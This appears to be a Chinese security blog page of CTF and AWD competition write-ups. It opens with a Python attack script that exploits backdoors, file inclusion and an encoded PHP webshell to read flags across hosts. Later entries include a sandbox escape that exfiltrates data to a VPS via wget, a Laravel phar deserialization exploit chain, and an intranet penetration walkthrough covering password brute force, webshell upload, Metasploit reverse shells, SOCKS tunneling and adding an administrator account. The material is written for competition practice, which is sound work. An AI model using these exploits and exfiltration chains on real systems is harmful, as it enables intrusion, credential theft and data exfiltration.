AWD FLAG SCRIPT

AWD FLAG脚本

之前AWD的自动写🐴获取flag脚本。

import requests
import re
import json
import time
import random


def filename():
    return '.'+str(int(random.uniform(10000000, 99999999)))+'.php'



def exp1(target):
    url = 'http://'+target+'/admin/test.php'
    data = {"cmd":"system('cat /flag');"}
    try:
        r = requests.post(url=url, data=data, timeout=3)
        res = 'flag{'+re.findall(r'.{8}-.{4}-.{4}-.{4}-.{12}', r.text)[0]+'}'
        # res = re.findall(r"flag{.*}", r.text)
        print('[+]Flag Found: '+target+'->'+res)
        return res
    except Exception:
        pass


def exp2(target):
    url = 'http://'+target+'/about.php?file=/flag'
    try:
        r = requests.get(url=url,timeout=3)
        res = 'flag{'+re.findall(r'.{8}-.{4}-.{4}-.{4}-.{12}', r.text)[0]+'}'
        print('[+]Flag Found: '+target+'->'+res)
        return res
    except Exception:
        pass
    

def exp3(target):
    url = 'http://'+target+'/admin/editor.php'
    data = {"boy":"cat /flag"}
    try:
        r = requests.post(url=url, data=data, timeout=3)
        res = 'flag{'+re.findall(r'.{8}-.{4}-.{4}-.{4}-.{12}', r.text)[0]+'}'
        print('[+]Flag Found: '+target+'->'+res)
        return res
    except Exception:
        pass


def exp4(target):
    Filename = filename()
    write_backdoor_url = 'http://'+target+'/admin/type.php?m=sPD9waHAgZXZhbChAJF9QT1NUWydjbWQnXSk7Pz4=&file=php://filter/write=convert.base64-decode/resource='+Filename
    getflag_url = 'http://'+target+'/admin/'+Filename
    data = {"cmd":"system('cat /flag');"}
    try:
        s = requests.get(url=write_backdoor_url)
        print "[+]Backdoor is Write in :"+getflag_url
        time.sleep(1)
        r = requests.post(url=getflag_url, data=data, timeout=3)
        res = 'flag{'+re.findall(r'.{8}-.{4}-.{4}-.{4}-.{12}', r.text)[0]+'}'
        # res = re.findall(r"flag{.*}", r.text)
        print('[+]Flag Found: '+target+'->'+res)
        return res
    except Exception:
        pass


def exp5(target):
    url = 'http://'+target+'/admin/articlelist.php?a=cat%20/flag&str=2;$a=sys.tem;$b=curr.ent;$a($b($b($GLOBALS)));'
    try:
        r = requests.get(url=url,timeout=3)
        res = 'flag{'+re.findall(r'.{8}-.{4}-.{4}-.{4}-.{12}', r.text)[1]+'}'
        print('[+]Flag Found: '+target+'->'+res)
        return res
    except Exception:
        pass


def exp6(target):
    url = 'http://'+target+'/.aa'
    try:
        r = requests.get(url=url,timeout=3)
        res = 'flag{'+re.findall(r'.{8}-.{4}-.{4}-.{4}-.{12}', r.text)[0]+'}'
        print('[+]Flag Found: '+target+'->'+res)
        return res
    except Exception:
        pass




def submit(flag_value):
    url = 'http://x.x.x.x:8000/api/v1/challenges/attempt'
    data = json.dumps({"challenge_id":1,"submission":flag_value})
    headers = {
        'Accept': 'application/json',
        'CSRF-Token': 'c7b3f18a7eac5935b8f4279e53be8824fc304d85599c6e5ebd9ae4e701bb640e',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.122 Safari/537.36',
        'Content-Type': 'application/json',
        'Origin': 'http://x.x.x.x:8000',
        'Referer': 'http://x.x.x.x:8000/challenges',
        'Accept-Encoding': 'gzip, deflate',
        'Accept-Language': 'zh-CN,zh;q=0.9',
        'Cookie': 'PHPSESSID=to9lsb0m9jrpv1hmdg37he5aa2; session=1f8b1fe6-ab39-4fa4-a03d-617a80f0b2b7',
        'Connection': 'close'
    }
    s = requests.session()
    req = s.post(url = url,headers=headers,data=data,verify = False)
    print(req.text)


if __name__ == "__main__":
    for i in range(8,15):
        ip = "x.x.x.x:3{}80".format(str(i).rjust(2,'0'))
        # flag = exp1(ip)
        flag = exp2(ip)
        # flag = exp3(ip)
        # flag = exp4(ip)
        # flag = exp5(ip)
        # flag = exp6(ip)
        # submit(flag)


# a=cat%20/flag&str=2;$a=sys.tem;$b=curr.ent;$a($b($b($GLOBALS)));

观安CTF 2021 WriteUp

WEB

Baby Calc

通过测试发现该环境为python3沙盒逃逸 通过网上公开的POC发现存在代码执行,但是无法回显 尝试反弹SHELL均失败 发现系统不存在curl命令,但存在wget通过wget命令携带回显带出到vps

如下图使用wget,把命令包含在``中在使用base64带到vps中 1

expr=__import__("os").__getattribute__("metsys"[::-1])("wget%20http://49.234.223.23:1234/1.txt?data=`cat%20/flag_is_here|grep%20flag|base64`")

vps监听: 2

Baby WEB

题目提供了源代码,查看incloud.php文件,发现57行存在file_put_contents函数,且password未做限制。通过构造poc使password造成任意文件读取漏洞

-w1134 POC:1|../../../../../../../../flag|

注册任意用户名,密码为POC,登陆密码为1。
登陆后返回flag

-w552

Misc

老电脑的内存

经典的内存取证题目,通过imageinfo来获取该内存镜像的摘要信息 -w966 查看缓存在内存中的注册表: -w996 获取 SAM 表中的用户: -w1005 查看内存中系统的密码: -w969 CMD5解密 -w909 通过filescan查找ctf用户下的文件 发现1.png

volatility -f Windows\ 7-c0e05742.vmem --profile=Win7SP1x86_23418 filescan | grep ctf

-w1002 将1.png dump下来,查看文件。与密码结合获得flag -w915 -w997 ##被加密的wifi 通过分析数据包发现key为88888888 -w528 通过airdecap-ng命令输入密码解密数据包 -w695 在已解密的数据包中找到flag -w974

release

拿到一张图片,首先使用binwalk分离文件,没有发现有用信息 -w696 通过winhex修改文件高度 -w813 得到一半flag -w805 翻到文件底部发现很多20和09,想到通过二进制生成二维码,将20修改为0,09改为1 -w854 使用脚本转换为图片,得到二维码 -w826 扫描得到flag

2021年虎符线下赛WEB

tinypng

题目提供了源代码,通过php artisan 命令,可以看到是Laravel 8.15框架 首先查看路由信息

先查看一下fileupload路由,可以发现文件上传时对内容进行了过滤,且只允许上传png

接着我们看image路由,进入ImageController$source可控接着判断是否为png结尾,如果为png结尾则传给imgcompress类。 进入imgcompress类,$this->src为我们传入的$source 接着又传递给compressImg类,调用了openImg方法

$source传递给了getimagesizegetimagesize可以触发phar反序列化

现在只需要绕过文件上传内容检测即可,我们可以通过gzip的方式绕过。 从网上找一个Laravel 8的公开的反序列化POP链漏洞即可,如下给出我使用的exp。

namespace Illuminate\Broadcasting {
    class PendingBroadcast {
        protected $events;
        protected $event;
        public function __construct($events, $event) {
            $this->events = $events;
            $this->event = $event;
        }
    }

    class BroadcastEvent {
        public $connection;
        public function __construct($connection) {
            $this->connection = $connection;
        }
    }
}

namespace Illuminate\Bus {
    class Dispatcher {
        protected $queueResolver;
        public function __construct($queueResolver){
            $this->queueResolver = $queueResolver;
        }
    }
}


namespace {
    $c = new Illuminate\Broadcasting\BroadcastEvent('whoami');
    $b = new Illuminate\Bus\Dispatcher('system');
    $a = new Illuminate\Broadcasting\PendingBroadcast($b, $c);
    #print(urlencode(serialize($a)));
    @unlink("phar.phar");
    $phar=new Phar("phar.phar");
    $phar->startBuffering();
    $phar->setStub('GIF89a'."__HALT_COMPILER();");
    $phar->setMetadata($a);
    $phar->addFromString("test.txt", "test");
    $phar->stopBuffering();
}
 

通过如上exp生成phar文件,使用gzip打包修改为png后缀

CTF内网渗透题

记一次CTF内网渗透,据说是从护网复现过来的。

这是第一个flag。。。 a.md.png 既然我们知道这是wordpress正常套路那我们通过wpscan扫描一下


如下图发现存在xmlrpc.php,根据经验这个php存在用户密码爆破,那我们尝试一下 参考:Wordpress xmlrpc.php -common vulnerabilites & how to exploit them QQ20191012000758.png

通过文章发布的地方知道存在一个power_admin的用户 SWYT13G1LF0YTM8V3M9A.png 通过xmlrpc.php验证一下 HFT3U203JYN_0GXU0X7.md.png 不知道为什么是不是我个人问题输入正确账号密码后没有直接给我跳转到wp-admin/index.php页面还是在原来页面。我只能通过替换cookie后直接访问。 NC85I4XP14RYQZOMYHK.md.png 在媒体库内直接上传冰蝎一句话后访问正常操作 9219XMTIHPMKF937Y.png 之后通过冰蝎配合msf反弹shell 1E42VR__1LT_7UMYS6E.png

内网穿透我比较常用的手法是通过ew配合proxychains 如何通过EW做Socks5代理进行内网渗透 - 知乎 ew for linux下载地址:ew


首先在公网的vps上通过ew监听1080和1024 ./ew_for_linux64 -s rcsocks -l 1080 -e 1024 & 之后通过msf把ew客户端上传到靶机上

meterpreter > upload /root/ew/ew_for_linux64 /tmp/
[*] uploading  : /root/ew/ew_for_linux64 -> /tmp/
[*] uploaded   : /root/ew/ew_for_linux64 -> /tmp//ew_for_linux64
meterpreter > 
meterpreter > shell
Process 20657 created.
Channel 0 created.
cd /tmp
chmod 777 ew_for_linux64
./ew_for_linux64 -s rssocks -d 118.126.66.150 -e 1024

在配置一下本地kali的proxychains 编辑/etc/proxychains.conf,在最下面一行修改为公网vps的地址和端口 K5Y013PSU5M83UBVBXPV.png 正确配置后就可愉快的探索内网了,如下图通过proxychains nmap -sT 192.168.1.2 -Pn扫描1.2主机的端口,这里我就不扫描内网了可以通过msf的模块扫描,我这里直接通过webshell尝试ping邻居的IP来获取主机(注意icmp协议是无法通过proxychains传递的)。 3ZNZLFWSSM47GFEU2O.png 发现存在1433端口通过hydra爆破密码,我前面已经爆破过了所以知道密码是123456演示一下,hydra命令我就不解释了看下help文档就会了。 0W970XQWF9T7WQWXJGN2E.md.png 通过proxychains msfconsole使用use auxiliary/admin/mssql/mssql_exec模块执行命令 QQ20191012010458.png 添加账户设置管理员,开启3389

2019神盾杯

首届“神盾杯”上海市网络安全竞赛,去年的比赛。

0x00 babyJS

操作内容:

查看源码 找不到被调用的CheckLogin函数

/img/19shendun/image1.png

看到script中有用到unespaceescape等函数 用于编码字符串

eval传参改为alert 显示为弹窗

/img/19shendun/image2.png

发现check函数 并将flag与用户输入做比较 得到flag

/img/19shendun/image3.png

FLAG值:

flag{a5a5f402f6dc62acd3e848900a17513f}

0x01 crypto_easy_1

操作内容:

下载文件

/img/19shendun/image4.png

发现3行类似的数据 并且长度一致。

:左边的长度为42 右边的长度为56 ,猜测右边被base64编码过 进行解码 比较长度

/img/19shendun/image5.png

长度一致 为42

异或运算一下 可以得到Key随后将key代入 与base64解码后的密文异或比较 得到flag

解密脚本如下:

import base64
x = 'v6"wo5UIP9c4IdCk1o6qZhhB5DKZhVBwBzONl1JRIz:TwB2RyZYBCEVbjBjID17UkUeeDAwPBh1dg86AyAgcSQ4QygYGnAuJQYw'
y = 'zjS0ubQE2hw29FL2qs61ZNOVyFaf6IAjUZ7X8ijuVg:Q1wHADwPAC13PyRlUB90CwUCeHAwGj9hOg0QP34/cjkvY1AOTigOAhkt'
z = 'pJryZpVUNpSFi06WlKGkS0Uka6zw1sNCX"h2urQoyg:SXwmSRMdBz0LJwARAGkObhg6CSo5ZCVcIn0LLnkFfRAiGw9kAzM1GDYt'
a, b = x.split(':')
c, d = y.split(':')
e, f = z.split(':')
b = base64.b64decode(b)
d = base64.b64decode(d)
f = base64.b64decode(f)
g = base64.b64decode('X1o1VzIPaVgjbmNvCnQAC0ZHY3BbMUkaeylDYWVOCzZDXwJjR3hTFiw3')
flag = ''
for  i in range(42):
    t = ord(a[i]) ^ ord(b[i])
    flag += chr(ord(g[i]) ^ t)
print(flag)

FLAG值:

豌豆杯入学CTF


1.题目:小可爱 第一步肯定是绕过本地回环地址 CC25B038-F2D2-4F85-93F7-F51924B8DAB8.png 一开始想到的是x-forward-for等告诉服务器我的地址但发现没有绕过 看题目题目是说来源地址想到了referer成功绕过 BC410D27-3BE1-40E5-ABF5-777F7144F502.png AEA1A04B-27BA-4393-953B-75D948C95027.png 这里没啥思路只能爆破 B9E617B3-EF26-477B-B78C-534C490FB3C4.png 密码为orange 访问到另外一个页面 然后登录。 发现是一张迪丽热巴的图片 这个主管很喜欢迪丽热巴啊!! 122FC809-D249-4228-9EB5-1E7F101BB7C1.png ADBC80E5-9B6D-4483-B1D4-286FE4B9E3F2.png 将图片下载下来,用binwalk查看下发现有压缩包!foremost下得到压缩包发现有密码 70BBCD6F-2D2E-4D93-8F11-80D576A5CB54.png DABA844F-3716-4889-96CA-04A7E6137C96.png 这个地方解了很久发现使用Dilraba的md5。。。。 F0312D7E-FC35-4DE9-86AF-D5A0F5796C97.png 得到一张图片再一次foremost得到一个压缩包成功拿到flag C065BA1C-B8B1-4157-9E8A-D6BD23ED6440.png 2.题目:单身二十年 EA018BA0-F2BB-4204-9784-8E3585F3511B.png

<?php 

header("Content-type:text/html;charset=utf-8"); 
show_source(__FILE__); 
if($_COOKIE['token']=='5D41402ABC4B2A76B9719D911017C592'){ 
    $file    =    'dump/'.md5(base64_encode(mt_rand(1,100))).'.txt'; 
    file_put_contents($file,file_get_contents('327A6C4304AD5938EAF0EFB6CC3E53DC.php')); 
    sleep(10); 
    unlink($file); 
}else{ 
    header('Location: index.php'); 
} 

setcookie("token"); 

?>

看懂源码发现访问页面会睡眠十秒他会把flag写入到一个1到100随机数字经过base64,md5的txt文件里。 一种是用burp直接get到这里我就不演示了,我是直接写的python,访问下页面执行脚本就行了。 9BB9177B-2227-4784-A0BB-B029ED948AF3.png

import base64
import hashlib
import requests
for i in range(1,101):
	headers = {'Content-type':'text/html;charset=utf-8'}
	encodestr = base64.b64encode(str(i).encode('utf-8'))
	cookies = {'token':'5D41402ABC4B2A76B9719D911017C592'}
	#print(encodestr)
	m = hashlib.md5()
	m.update(encodestr)
	#print(m.hexdigest())
	a = m.hexdigest()
	url = 'http://106.14.145.133:8081/web10/dump/'+a+'.txt'
	#print(url)
	url_get = requests.get(url,headers=headers,cookies=cookies,timeout=2)
	#print(url_get.headers)
	#print(url_get.cookies)
	if url_get.status_code == 200:
		print(url_get.text)

3.题目:初心不改 1975DE5B-D07B-4569-B8D0-E7171F2A034C.png 访问页面发现是一个thinkphp5.0 一猜就是sql注入 一开始以为是构造一个注入然后load_file到flag后来发现想多了,直接通过payload拿到mysql账号密码 /index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1 BA7D4195-9527-4B06-A1D8-28ABF453FE46.png 主页查看源码发现有一个phpmyadmin,登陆后成功拿到flag 73F165EC-C956-40AD-9106-ADE323691340.png